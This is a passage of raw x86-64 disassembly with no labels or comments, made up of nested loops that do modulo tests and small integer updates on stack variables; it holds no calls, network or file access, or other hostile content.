add eax, 5
mov dword [rsp + 0x70], eax
mov eax, dword [rsp + 0x70]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400eef1f
cmp dword [rsp + 0x70], 0
jle 0x1400eefa5
mov eax, dword [rsp + 0x70]
sub eax, 3
mov dword [rsp + 0x70], eax
mov eax, dword [rsp + 0x70]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400eef98
mov eax, dword [rsp + 0x70]
add eax, 6
mov dword [rsp + 0x70], eax
jmp 0x1400eefa3
mov eax, dword [rsp + 0x70]
sub eax, 2
mov dword [rsp + 0x70], eax
jmp 0x1400eef66
mov eax, dword [rsp + 0x1dc]
dec eax
mov dword [rsp + 0x1dc], eax
cmp dword [rsp + 0x1dc], 0
jg 0x1400eee2e
jmp 0x1400eeb1e
jmp 0x1400edd76
jmp 0x1400f1575
mov dword [rsp + 0x1e0], 0
jmp 0x1400eefef
mov eax, dword [rsp + 0x1e0]
inc eax
mov dword [rsp + 0x1e0], eax
mov eax, dword [rsp + 0x9c]
cmp dword [rsp + 0x1e0], eax
jge 0x1400f1575
mov dword [rsp + 0x1fc], 0x44
mov dword [rsp + 0x18c], 0
jmp 0x1400ef02b
mov eax, dword [rsp + 0x18c]
inc eax
mov dword [rsp + 0x18c], eax
cmp dword [rsp + 0x18c], 7
jge 0x1400eff79
mov eax, dword [rsp + 0x18c]
add eax, 4
mov dword [rsp + 0x15c], eax
mov eax, dword [rsp + 0x15c]
add eax, 4
mov dword [rsp + 0x15c], eax
cmp dword [rsp + 0x15c], 0x10
jne 0x1400eff66
mov dword [rsp + 0x1e4], 0
jmp 0x1400ef086
mov eax, dword [rsp + 0x1e4]
inc eax
mov dword [rsp + 0x1e4], eax
mov eax, dword [rsp + 0x9c]
cmp dword [rsp + 0x1e4], eax
jge 0x1400ef780
mov dword [rsp + 0x1e8], 7
mov dword [rsp + 0x190], 0
jmp 0x1400ef0c2
mov eax, dword [rsp + 0x190]
inc eax
mov dword [rsp + 0x190], eax
cmp dword [rsp + 0x190], 2
jge 0x1400ef38c
mov eax, dword [rsp + 0x190]
inc eax
mov dword [rsp + 0x154], eax
mov eax, dword [rsp + 0x154]
inc eax
mov dword [rsp + 0x154], eax
cmp dword [rsp + 0x154], 2
jne 0x1400ef379
mov dword [rsp + 0x34], 5
cmp dword [rsp + 0x34], 0x28
jge 0x1400ef16d
mov eax, dword [rsp + 0x34]
add eax, 7
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400ef160
mov eax, dword [rsp + 0x34]
add eax, eax
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400ef153
mov eax, dword [rsp + 0x34]
sub eax, 3
mov dword [rsp + 0x34], eax
jmp 0x1400ef15e
mov eax, dword [rsp + 0x34]
add eax, 4
mov dword [rsp + 0x34], eax
jmp 0x1400ef16b
mov eax, dword [rsp + 0x34]
sub eax, 3
mov dword [rsp + 0x34], eax
jmp 0x1400ef106
cmp dword [rsp + 0x34], 0xf
jle 0x1400ef233
mov dword [rsp + 0xa0], 0
jmp 0x1400ef195
mov eax, dword [rsp + 0xa0]
inc eax
mov dword [rsp + 0xa0], eax
cmp dword [rsp + 0xa0], 8
jge 0x1400ef231
imul eax, dword [rsp + 0xa0], 9
mov ecx, dword [rsp + 0x34]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400ef218
mov eax, dword [rsp + 0xa0]
mov ecx, dword [rsp + 0x34]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400ef203
mov eax, dword [rsp + 0x34]
mov ecx, dword [rsp + 0xa0]
lea eax, [rax + rcx*2]
mov dword [rsp + 0x34], eax
jmp 0x1400ef216
mov eax, dword [rsp + 0xa0]
mov ecx, dword [rsp + 0x34]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x34], eax
jmp 0x1400ef22c
imul eax, dword [rsp + 0xa0], 3
mov ecx, dword [rsp + 0x34]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x34], eax
jmp 0x1400ef185
jmp 0x1400ef285
mov eax, dword [rsp + 0x34]
sub eax, 0xa
mov dword [rsp + 0x34], eax
cmp dword [rsp + 0x34], 0xa
jge 0x1400ef27a
mov eax, dword [rsp + 0x34]
add eax, 7
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400ef26d
mov eax, dword [rsp + 0x34]
sub eax, 2
mov dword [rsp + 0x34], eax
jmp 0x1400ef278
mov eax, dword [rsp + 0x34]
add eax, 3
mov dword [rsp + 0x34], eax
jmp 0x1400ef285
mov eax, dword [rsp + 0x34]
sub eax, 2
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
add eax, 6
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
cdq
mov ecx, 6
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400ef2da
mov eax, dword [rsp + 0x34]
sub eax, 5
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400ef2cd
mov eax, dword [rsp + 0x34]
add eax, 8
mov dword [rsp + 0x34], eax
jmp 0x1400ef2d8
mov eax, dword [rsp + 0x34]
sub eax, 3
mov dword [rsp + 0x34], eax
jmp 0x1400ef2e5
mov eax, dword [rsp + 0x34]
add eax, 7
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400ef285
cmp dword [rsp + 0x34], 0
jle 0x1400ef35e
mov eax, dword [rsp + 0x34]
sub eax, 6
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400ef329
mov eax, dword [rsp + 0x34]
add eax, 9
mov dword [rsp + 0x34], eax
jmp 0x1400ef35c
mov eax, dword [rsp + 0x34]
sub eax, 3
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400ef351
mov eax, dword [rsp + 0x34]
add eax, 4
mov dword [rsp + 0x34], eax
jmp 0x1400ef35c
mov eax, dword [rsp + 0x34]
sub eax, 2
mov dword [rsp + 0x34], eax
jmp 0x1400ef2f7
mov eax, dword [rsp + 0x154]
imul eax, dword [rsp + 0x1e8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x374], eax
cmp dword [rsp + 0x154], 3
jl 0x1400ef0e0
jmp 0x1400ef0b2
cmp dword [rsp + 0x1e8], 5
jle 0x1400ef77b
mov eax, dword [rsp + 0x1e8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1ec], eax
mov dword [rsp + 0x6c], 5
cmp dword [rsp + 0x6c], 0x1e
jge 0x1400ef3f2
mov eax, dword [rsp + 0x6c]
add eax, 5
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x6c]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400ef3e5
mov eax, dword [rsp + 0x6c]
shl eax, 1
mov dword [rsp + 0x6c], eax
jmp 0x1400ef3f0
mov eax, dword [rsp + 0x6c]
sub eax, 3
mov dword [rsp + 0x6c], eax
jmp 0x1400ef3b5
cmp dword [rsp + 0x6c], 0xf
jle 0x1400ef474
mov dword [rsp + 0xe8], 0
jmp 0x1400ef416
mov eax, dword [rsp + 0xe8]
inc eax
mov dword [rsp + 0xe8], eax
cmp dword [rsp + 0xe8], 6
jge 0x1400ef472
imul eax, dword [rsp + 0xe8], 7
mov ecx, dword [rsp + 0x6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x6c]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400ef45c
mov eax, dword [rsp + 0xe8]
mov ecx, dword [rsp + 0x6c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c], eax
jmp 0x1400ef470
imul eax, dword [rsp + 0xe8], 3
mov ecx, dword [rsp + 0x6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c], eax
jmp 0x1400ef406
jmp 0x1400ef49e
mov eax, dword [rsp + 0x6c]
sub eax, 8
mov dword [rsp + 0x6c], eax
cmp dword [rsp + 0x6c], 0xa
jge 0x1400ef493
mov eax, dword [rsp + 0x6c]
add eax, 5
mov dword [rsp + 0x6c], eax
jmp 0x1400ef49e
mov eax, dword [rsp + 0x6c]
sub eax, 2
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x6c]
add eax, 4
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x6c]
cdq
mov ecx, 6
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400ef4c8
mov eax, dword [rsp + 0x6c]
sub eax, 5
mov dword [rsp + 0x6c], eax
jmp 0x1400ef4d3
mov eax, dword [rsp + 0x6c]
add eax, 6
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x6c]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400ef49e
cmp dword [rsp + 0x6c], 0
jle 0x1400ef524
mov eax, dword [rsp + 0x6c]
sub eax, 4
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x6c]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400ef517
mov eax, dword [rsp + 0x6c]
add eax, 7
mov dword [rsp + 0x6c], eax
jmp 0x1400ef522
mov eax, dword [rsp + 0x6c]
sub eax, 3
mov dword [rsp + 0x6c], eax
jmp 0x1400ef4e5
mov dword [rsp + 0x88], 0xa
mov dword [rsp + 0xec], 0
jmp 0x1400ef54c
mov eax, dword [rsp + 0xec]
inc eax
mov dword [rsp + 0xec], eax
cmp dword [rsp + 0xec], 5
jge 0x1400ef5b8
imul eax, dword [rsp + 0xec], 3
mov ecx, dword [rsp + 0x88]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x88], eax
mov eax, dword [rsp + 0x88]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400ef59e
mov eax, dword [rsp + 0xec]
mov ecx, dword [rsp + 0x88]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x88], eax
jmp 0x1400ef5b6
mov eax, dword [rsp + 0x88]
mov ecx, dword [rsp + 0xec]
lea eax, [rax + rcx*2]
mov dword [rsp + 0x88], eax
jmp 0x1400ef53c
cmp dword [rsp + 0x88], 0x14
jle 0x1400ef65a
mov dword [rsp + 0xf0], 0
jmp 0x1400ef5e3
mov eax, dword [rsp + 0xf0]
inc eax
mov dword [rsp + 0xf0], eax
cmp dword [rsp + 0xf0], 3
jge 0x1400ef658
mov eax, dword [rsp + 0xf0]
add eax, 2
mov ecx, dword [rsp + 0x88]
imul ecx, eax
mov eax, ecx
mov dword [rsp + 0x88], eax
mov eax, dword [rsp + 0x88]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400ef63a
mov eax, dword [rsp + 0xf0]
mov ecx, dword [rsp + 0x88]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x88], eax
jmp 0x1400ef653
mov eax, dword [rsp + 0xf0]
mov ecx, dword [rsp + 0x88]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x88], eax
jmp 0x1400ef5d3
jmp 0x1400ef699
mov eax, dword [rsp + 0x88]
sub eax, 5
mov dword [rsp + 0x88], eax
cmp dword [rsp + 0x88], 0xa
jge 0x1400ef688
mov eax, dword [rsp + 0x88]
add eax, 3
mov dword [rsp + 0x88], eax
jmp 0x1400ef699
mov eax, dword [rsp + 0x88]
sub eax, 2
mov dword [rsp + 0x88], eax
mov eax, dword [rsp + 0x88]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
je 0x1400ef6fb
mov eax, dword [rsp + 0x88]
add eax, 2
mov dword [rsp + 0x88], eax
mov eax, dword [rsp + 0x88]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400ef6e8
mov eax, dword [rsp + 0x88]
sub eax, 3
mov dword [rsp + 0x88], eax
jmp 0x1400ef6f9
mov eax, dword [rsp + 0x88]
add eax, 4
mov dword [rsp + 0x88], eax
jmp 0x1400ef699
mov eax, dword [rsp + 0x88]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
je 0x1400ef75d
mov eax, dword [rsp + 0x88]
add eax, 2
mov dword [rsp + 0x88], eax
mov eax, dword [rsp + 0x88]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400ef74a
mov eax, dword [rsp + 0x88]
sub eax, 2
mov dword [rsp + 0x88], eax
jmp 0x1400ef75b
mov eax, dword [rsp + 0x88]
add eax, 3
mov dword [rsp + 0x88], eax
jmp 0x1400ef6fb
mov eax, dword [rsp + 0x1ec]
dec eax
mov dword [rsp + 0x1ec], eax
cmp dword [rsp + 0x1ec], 0
jg 0x1400ef3ad
jmp 0x1400ef076
mov eax, dword [rsp + 0x15c]
imul eax, dword [rsp + 0x1fc]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x378], eax
mov dword [rsp + 0x1f0], 0
jmp 0x1400ef7bb
mov eax, dword [rsp + 0x1f0]
inc eax
mov dword [rsp + 0x1f0], eax
mov eax, dword [rsp + 0x9c]
cmp dword [rsp + 0x1f0], eax
jge 0x1400eff66
mov dword [rsp + 0x1f4], 7
mov dword [rsp + 0x194], 0
jmp 0x1400ef7f7
mov eax, dword [rsp + 0x194]
inc eax
mov dword [rsp + 0x194], eax
cmp dword [rsp + 0x194], 2
jge 0x1400efc36
mov eax, dword [rsp + 0x194]
inc eax
mov dword [rsp + 0x158], eax
mov eax, dword [rsp + 0x158]
inc eax
mov dword [rsp + 0x158], eax
cmp dword [rsp + 0x158], 2
jne 0x1400efc23
mov dword [rsp + 0x68], 5
cmp dword [rsp + 0x68], 0x23
jge 0x1400ef878
mov eax, dword [rsp + 0x68]
add eax, 6
mov dword [rsp + 0x68], eax
mov eax, dword [rsp + 0x68]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400ef86b
mov eax, dword [rsp + 0x68]
add eax, eax
mov dword [rsp + 0x68], eax
jmp 0x1400ef876
mov eax, dword [rsp + 0x68]
sub eax, 3
mov dword [rsp + 0x68], eax
jmp 0x1400ef83b
cmp dword [rsp + 0x68], 0xf
jle 0x1400ef8f8
mov dword [rsp + 0xf4], 0
jmp 0x1400ef89c
mov eax, dword [rsp + 0xf4]
inc eax
mov dword [rsp + 0xf4], eax
cmp dword [rsp + 0xf4], 7
jge 0x1400ef8f6
mov eax, dword [rsp + 0x68]
mov ecx, dword [rsp + 0xf4]
lea eax, [rax + rcx*8]
mov dword [rsp + 0x68], eax
mov eax, dword [rsp + 0x68]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400ef8e0
mov eax, dword [rsp + 0xf4]
mov ecx, dword [rsp + 0x68]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x68], eax
jmp 0x1400ef8f4
imul eax, dword [rsp + 0xf4], 3
mov ecx, dword [rsp + 0x68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x68], eax
jmp 0x1400ef88c
jmp 0x1400ef922
mov eax, dword [rsp + 0x68]
sub eax, 9
mov dword [rsp + 0x68], eax
cmp dword [rsp + 0x68], 0xa
jge 0x1400ef917
mov eax, dword [rsp + 0x68]
add eax, 6
mov dword [rsp + 0x68], eax
jmp 0x1400ef922
mov eax, dword [rsp + 0x68]
sub eax, 2
mov dword [rsp + 0x68], eax
mov eax, dword [rsp + 0x68]
add eax, 5
mov dword [rsp + 0x68], eax
mov eax, dword [rsp + 0x68]
cdq
mov ecx, 6
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400ef94c
mov eax, dword [rsp + 0x68]
sub eax, 6
mov dword [rsp + 0x68], eax
jmp 0x1400ef957
mov eax, dword [rsp + 0x68]
add eax, 7
mov dword [rsp + 0x68], eax
mov eax, dword [rsp + 0x68]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400ef922
cmp dword [rsp + 0x68], 0
jle 0x1400ef9a8
mov eax, dword [rsp + 0x68]
sub eax, 5
mov dword [rsp + 0x68], eax
mov eax, dword [rsp + 0x68]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400ef99b
mov eax, dword [rsp + 0x68]
add eax, 8
mov dword [rsp + 0x68], eax
jmp 0x1400ef9a6
mov eax, dword [rsp + 0x68]
sub eax, 3
mov dword [rsp + 0x68], eax
jmp 0x1400ef969
mov dword [rsp + 0x38], 5
cmp dword [rsp + 0x38], 0x28
jge 0x1400efa17
mov eax, dword [rsp + 0x38]
add eax, 7
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x38]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400efa0a
mov eax, dword [rsp + 0x38]
add eax, eax
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x38]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400ef9fd
mov eax, dword [rsp + 0x38]
sub eax, 3
mov dword [rsp + 0x38], eax
jmp 0x1400efa08
mov eax, dword [rsp + 0x38]
add eax, 4
mov dword [rsp + 0x38], eax
jmp 0x1400efa15
mov eax, dword [rsp + 0x38]
sub eax, 3
mov dword [rsp + 0x38], eax
jmp 0x1400ef9b0
cmp dword [rsp + 0x38], 0xf
jle 0x1400efadd
mov dword [rsp + 0xa4], 0
jmp 0x1400efa3f
mov eax, dword [rsp + 0xa4]
inc eax
mov dword [rsp + 0xa4], eax
cmp dword [rsp + 0xa4], 8
jge 0x1400efadb
imul eax, dword [rsp + 0xa4], 9
mov ecx, dword [rsp + 0x38]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x38]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400efac2
mov eax, dword [rsp + 0xa4]
mov ecx, dword [rsp + 0x38]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x38]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400efaad
mov eax, dword [rsp + 0x38]
mov ecx, dword [rsp + 0xa4]
lea eax, [rax + rcx*2]
mov dword [rsp + 0x38], eax
jmp 0x1400efac0
mov eax, dword [rsp + 0xa4]
mov ecx, dword [rsp + 0x38]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x38], eax
jmp 0x1400efad6
imul eax, dword [rsp + 0xa4], 3
mov ecx, dword [rsp + 0x38]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x38], eax
jmp 0x1400efa2f
jmp 0x1400efb2f
mov eax, dword [rsp + 0x38]
sub eax, 0xa
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0xa
jge 0x1400efb24
mov eax, dword [rsp + 0x38]
add eax, 7
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x38]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400efb17
mov eax, dword [rsp + 0x38]
sub eax, 2
mov dword [rsp + 0x38], eax
jmp 0x1400efb22
mov eax, dword [rsp + 0x38]
add eax, 3
mov dword [rsp + 0x38], eax
jmp 0x1400efb2f
mov eax, dword [rsp + 0x38]
sub eax, 2
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x38]
add eax, 6
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x38]
cdq
mov ecx, 6
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400efb84
mov eax, dword [rsp + 0x38]
sub eax, 5
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x38]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400efb77
mov eax, dword [rsp + 0x38]
add eax, 8
mov dword [rsp + 0x38], eax
jmp 0x1400efb82
mov eax, dword [rsp + 0x38]
sub eax, 3
mov dword [rsp + 0x38], eax
jmp 0x1400efb8f
mov eax, dword [rsp + 0x38]
add eax, 7
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x38]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400efb2f
cmp dword [rsp + 0x38], 0
jle 0x1400efc08
mov eax, dword [rsp + 0x38]
sub eax, 6
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x38]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400efbd3
mov eax, dword [rsp + 0x38]
add eax, 9
mov dword [rsp + 0x38], eax
jmp 0x1400efc06
mov eax, dword [rsp + 0x38]
sub eax, 3
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x38]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400efbfb
mov eax, dword [rsp + 0x38]
add eax, 4
mov dword [rsp + 0x38], eax
jmp 0x1400efc06
mov eax, dword [rsp + 0x38]
sub eax, 2
mov dword [rsp + 0x38], eax
jmp 0x1400efba1
mov eax, dword [rsp + 0x158]
imul eax, dword [rsp + 0x1f4]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x37c], eax
cmp dword [rsp + 0x158], 3
jl 0x1400ef815
jmp 0x1400ef7e7
cmp dword [rsp + 0x1f4], 5
jle 0x1400eff61
mov eax, dword [rsp + 0x1f4]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1f8], eax
mov dword [rsp + 0x64], 5
cmp dword [rsp + 0x64], 0x19
jge 0x1400efc9c
mov eax, dword [rsp + 0x64]
add eax, 4
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x64]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400efc8f
mov eax, dword [rsp + 0x64]
shl eax, 1
mov dword [rsp + 0x64], eax
jmp 0x1400efc9a
mov eax, dword [rsp + 0x64]
sub eax, 3
mov dword [rsp + 0x64], eax
jmp 0x1400efc5f
cmp dword [rsp + 0x64], 0xf
jle 0x1400efd1e
mov dword [rsp + 0xf8], 0
jmp 0x1400efcc0
mov eax, dword [rsp + 0xf8]
inc eax
mov dword [rsp + 0xf8], eax
cmp dword [rsp + 0xf8], 5
jge 0x1400efd1c
imul eax, dword [rsp + 0xf8], 6
mov ecx, dword [rsp + 0x64]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x64]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400efd06
mov eax, dword [rsp + 0xf8]
mov ecx, dword [rsp + 0x64]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x64], eax
jmp 0x1400efd1a
imul eax, dword [rsp + 0xf8], 3
mov ecx, dword [rsp + 0x64]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x64], eax
jmp 0x1400efcb0
jmp 0x1400efd48
mov eax, dword [rsp + 0x64]
sub eax, 7
mov dword [rsp + 0x64], eax
cmp dword [rsp + 0x64], 0xa
jge 0x1400efd3d
mov eax, dword [rsp + 0x64]
add eax, 4
mov dword [rsp + 0x64], eax
jmp 0x1400efd48
mov eax, dword [rsp + 0x64]
sub eax, 2
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x64]
add eax, 3
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x64]
cdq
mov ecx, 6
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400efd72
mov eax, dword [rsp + 0x64]
sub eax, 4
mov dword [rsp + 0x64], eax
jmp 0x1400efd7d
mov eax, dword [rsp + 0x64]
add eax, 5
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x64]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400efd48
cmp dword [rsp + 0x64], 0
jle 0x1400efdce
mov eax, dword [rsp + 0x64]
sub eax, 3
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x64]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400efdc1
mov eax, dword [rsp + 0x64]
add eax, 6
mov dword [rsp + 0x64], eax
jmp 0x1400efdcc
mov eax, dword [rsp + 0x64]
sub eax, 2
mov dword [rsp + 0x64], eax
jmp 0x1400efd8f
mov dword [rsp + 0x60], 5
cmp dword [rsp + 0x60], 0x23
jge 0x1400efe13
mov eax, dword [rsp + 0x60]
add eax, 6
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x60]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400efe06
mov eax, dword [rsp + 0x60]
add eax, eax
mov dword [rsp + 0x60], eax
jmp 0x1400efe11
mov eax, dword [rsp + 0x60]
sub eax, 3
mov dword [rsp + 0x60], eax
jmp 0x1400efdd6
cmp dword [rsp + 0x60], 0xf
jle 0x1400efe93
mov dword [rsp + 0xfc], 0
jmp 0x1400efe37
mov eax, dword [rsp + 0xfc]
inc eax
mov dword [rsp + 0xfc], eax
cmp dword [rsp + 0xfc], 7
jge 0x1400efe91
mov eax, dword [rsp + 0x60]
mov ecx, dword [rsp + 0xfc]
lea eax, [rax + rcx*8]
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x60]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400efe7b
mov eax, dword [rsp + 0xfc]
mov ecx, dword [rsp + 0x60]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x60], eax
jmp 0x1400efe8f
imul eax, dword [rsp + 0xfc], 3
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x60], eax
jmp 0x1400efe27
jmp 0x1400efebd
mov eax, dword [rsp + 0x60]
sub eax, 9
mov dword [rsp + 0x60], eax
cmp dword [rsp + 0x60], 0xa
jge 0x1400efeb2
mov eax, dword [rsp + 0x60]
add eax, 6
mov dword [rsp + 0x60], eax
jmp 0x1400efebd
mov eax, dword [rsp + 0x60]
sub eax, 2
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x60]
add eax, 5
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x60]
cdq
mov ecx, 6
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400efee7
mov eax, dword [rsp + 0x60]
sub eax, 6
mov dword [rsp + 0x60], eax
jmp 0x1400efef2
mov eax, dword [rsp + 0x60]
add eax, 7
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x60]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400efebd
cmp dword [rsp + 0x60], 0
jle 0x1400eff43
mov eax, dword [rsp + 0x60]
sub eax, 5
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x60]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400eff36
mov eax, dword [rsp + 0x60]
add eax, 8
mov dword [rsp + 0x60], eax
jmp 0x1400eff41
mov eax, dword [rsp + 0x60]
sub eax, 3
mov dword [rsp + 0x60], eax
jmp 0x1400eff04
mov eax, dword [rsp + 0x1f8]
dec eax
mov dword [rsp + 0x1f8], eax
cmp dword [rsp + 0x1f8], 0
jg 0x1400efc57
jmp 0x1400ef7ab
cmp dword [rsp + 0x15c], 0x14
jl 0x1400ef04a
jmp 0x1400ef01b
cmp dword [rsp + 0x1fc], 0x28
jle 0x1400f0848
mov eax, dword [rsp + 0x1fc]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0x20c], eax
mov dword [rsp + 0x200], 0
jmp 0x1400effba
mov eax, dword [rsp + 0x200]
inc eax
mov dword [rsp + 0x200], eax
mov eax, dword [rsp + 0x9c]
cmp dword [rsp + 0x200], eax
jge 0x1400f0829
mov dword [rsp + 0x204], 7
mov dword [rsp + 0x198], 0
jmp 0x1400efff6
mov eax, dword [rsp + 0x198]
inc eax
mov dword [rsp + 0x198], eax
cmp dword [rsp + 0x198], 2
jge 0x1400f034c
mov eax, dword [rsp + 0x198]
inc eax
mov dword [rsp + 0x160], eax
mov eax, dword [rsp + 0x160]
inc eax
mov dword [rsp + 0x160], eax
cmp dword [rsp + 0x160], 2
jne 0x1400f0339
mov dword [rsp + 0x5c], 5
cmp dword [rsp + 0x5c], 0x19
jge 0x1400f0077
mov eax, dword [rsp + 0x5c]
add eax, 4
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x5c]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400f006a
mov eax, dword [rsp + 0x5c]
shl eax, 1
mov dword [rsp + 0x5c], eax
jmp 0x1400f0075
mov eax, dword [rsp + 0x5c]
sub eax, 3
mov dword [rsp + 0x5c], eax
jmp 0x1400f003a
cmp dword [rsp + 0x5c], 0xf
jle 0x1400f00f9
mov dword [rsp + 0x100], 0
jmp 0x1400f009b
mov eax, dword [rsp + 0x100]
inc eax
